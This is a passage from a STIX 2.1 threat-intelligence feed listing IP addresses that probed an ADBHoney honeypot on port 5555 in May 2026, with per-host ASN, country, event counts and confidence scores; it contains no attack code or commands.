      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:00:10.000Z",
      "valid_until": "2026-06-21T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-20T11:24:04.000Z",
          "last_seen": "2026-05-30T12:22:55.262Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T12:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-20T11:22:36.000Z | last_seen=2026-05-20T11:23:38.355Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8607e060-d1ce-4fd8-a0f6-6c08b6e7acad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:00:10.000Z",
      "valid_until": "2026-06-21T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-20T11:22:36.000Z",
          "last_seen": "2026-05-20T11:23:38.355Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T12:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=DE; asn=3320; asn_org=Deutsche Telekom AG; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-20T11:06:48.000Z | last_seen=2026-05-20T11:08:22.727Z | ports=5555 | cc=DE | asn=3320 | org=Deutsche Telekom AG",
      "id": "indicator--041fac47-94d3-452f-8b19-0f20c4e58dac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.24.1.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:00:10.000Z",
      "valid_until": "2026-06-21T12:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-20T11:06:48.000Z",
          "last_seen": "2026-05-20T11:08:22.727Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "3320"
          ],
          "org": [
            "Deutsche Telekom AG"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-20T15:58:48.000Z | last_seen=2026-05-20T15:59:53.682Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--70dd392f-831b-4460-be07-4f4baf927266",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '139.144.239.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:00:01.000Z",
      "valid_until": "2026-06-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-20T15:58:48.000Z",
          "last_seen": "2026-05-20T15:59:53.682Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-20T15:59:17.000Z | last_seen=2026-05-20T16:00:21.575Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--8a3cde2c-6aa6-46db-93a9-9b9657d93444",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.237.155.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:00:01.000Z",
      "valid_until": "2026-06-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-20T15:59:17.000Z",
          "last_seen": "2026-05-20T16:00:21.575Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-20T15:02:37.000Z | last_seen=2026-05-20T15:04:01.387Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--71d370de-6945-4d07-bdbd-1a4762aedb27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:00:01.000Z",
      "valid_until": "2026-06-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-20T15:02:37.000Z",
          "last_seen": "2026-05-20T15:04:01.387Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=53 | first_seen=2026-05-20T15:02:54.000Z | last_seen=2026-05-31T00:33:59.100Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:00:01.000Z",
      "valid_until": "2026-06-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 53,
          "first_seen": "2026-05-20T15:02:54.000Z",
          "last_seen": "2026-05-31T00:33:59.100Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-20T15:02:24.000Z | last_seen=2026-05-20T15:03:28.486Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0f672150-87bd-4846-9035-ab33d62a9ed5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:00:01.000Z",
      "valid_until": "2026-06-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-20T15:02:24.000Z",
          "last_seen": "2026-05-20T15:03:28.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T19:00:16.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-20T18:08:01.000Z | last_seen=2026-05-20T18:18:18.941Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--71937f14-035c-4b9d-88c5-27d1a210153b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.183.84.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:00:16.000Z",
      "valid_until": "2026-06-21T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-20T18:08:01.000Z",
          "last_seen": "2026-05-20T18:18:18.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T23:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-20T22:15:31.000Z | last_seen=2026-05-20T22:16:38.115Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--3431e437-b03d-4b0f-b8ef-3e1381c03a00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '59.60.122.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:00:04.000Z",
      "valid_until": "2026-06-21T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-20T22:15:31.000Z",
          "last_seen": "2026-05-20T22:16:38.115Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=24 | first_seen=2026-05-20T23:31:23.000Z | last_seen=2026-05-20T23:42:49.942Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--f492fed1-5f1d-4938-8a6d-737b7c9d2c4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T00:00:03.000Z",
      "valid_until": "2026-06-22T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 24,
          "first_seen": "2026-05-20T23:31:23.000Z",
          "last_seen": "2026-05-20T23:42:49.942Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-21T00:09:13.000Z | last_seen=2026-05-21T00:10:54.039Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--56a6b178-8869-4298-aed9-95b39a927f6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:00:03.000Z",
      "valid_until": "2026-06-22T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-21T00:09:13.000Z",
          "last_seen": "2026-05-21T00:10:54.039Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=RU; asn=209896; asn_org=Contrust Solutions S.R.L.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=95 | first_seen=2026-05-21T00:12:57.000Z | last_seen=2026-05-29T19:55:29.247Z | ports=5555 | cc=US,RU | asn=209896 | org=Contrust Solutions S.R.L.",
      "id": "indicator--f8d5a2f1-637c-4278-9039-a9d6df62207f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.91.118.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:00:03.000Z",
      "valid_until": "2026-06-22T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 95,
          "first_seen": "2026-05-21T00:12:57.000Z",
          "last_seen": "2026-05-29T19:55:29.247Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US",
            "RU"
          ],
          "asn": [
            "209896"
          ],
          "org": [
            "Contrust Solutions S.R.L."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-21T04:07:28.000Z | last_seen=2026-05-21T04:18:12.338Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--27253096-f81e-420d-9eb5-4dac96455998",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.171.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:00:04.000Z",
      "valid_until": "2026-06-22T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-21T04:07:28.000Z",
          "last_seen": "2026-05-21T04:18:12.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=9976; asn_org=Namincheon Brodcasting Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-21T04:31:45.000Z | last_seen=2026-05-21T04:32:53.201Z | ports=5555 | cc=KR | asn=9976 | org=Namincheon Brodcasting Co., Ltd.",
      "id": "indicator--5cf0c872-8ee1-495d-850e-f4c732edd11d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.91.202.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T05:00:04.000Z",
      "valid_until": "2026-06-22T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-21T04:31:45.000Z",
          "last_seen": "2026-05-21T04:32:53.201Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "9976"
          ],
          "org": [
            "Namincheon Brodcasting Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T07:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-21T06:03:50.000Z | last_seen=2026-05-21T06:13:55.692Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--754010dd-4b50-42f9-80ba-13b56316144e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '210.178.250.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T07:00:23.000Z",
      "valid_until": "2026-06-22T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-21T06:03:50.000Z",
          "last_seen": "2026-05-21T06:13:55.692Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-21T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-21T07:37:08.000Z | last_seen=2026-05-21T07:47:23.213Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--07e80815-5753-4481-acc7-c81aedb1a910",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T08:00:02.000Z",
      "valid_until": "2026-06-22T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-21T07:37:08.000Z",
          "last_seen": "2026-05-21T07:47:23.213Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
